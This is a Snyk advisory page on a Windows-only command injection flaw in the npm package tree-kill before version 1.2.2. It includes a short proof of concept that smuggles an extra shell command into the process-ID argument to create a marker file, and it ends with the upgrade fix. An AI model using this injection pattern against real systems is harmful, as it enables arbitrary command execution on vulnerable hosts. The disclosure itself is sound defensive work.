tree-kill@0.0.3 vulnerabilities

kill trees of processes

  • latest version

    1.2.2

  • latest non vulnerable version

  • first published

    12 years ago

  • latest version published

    5 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the tree-kill package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Command Injection

    tree-kill is a package to kill all processes in the process tree, including the root process.

    Affected versions of this package are vulnerable to Command Injection. User input is concatenated with a command within tree-kill and treekill that will be executed without any check.

    Note: This vulnerability is only applicable if the package is used on a Windows operating system.

    PoC by mik317

    1. Create this POC file
    //poc.js
    var kill = require('tree-kill');
    kill('3333332 & echo "HACKED" > HACKED.txt & ');
    
    1. Execute the following commands in another terminal:
    npm i tree-kill # Install affected module
    dir # Check *HACKED.txt* doesn't exist
    node poc.js #  Run the PoC
    dir # Now *HACKED.txt* exists :)
    
    1. A new file called HACKED.txt will be created, containing the HACKED string

    How to fix Command Injection?

    Upgrade tree-kill to version 1.2.2 or higher.

    <1.2.2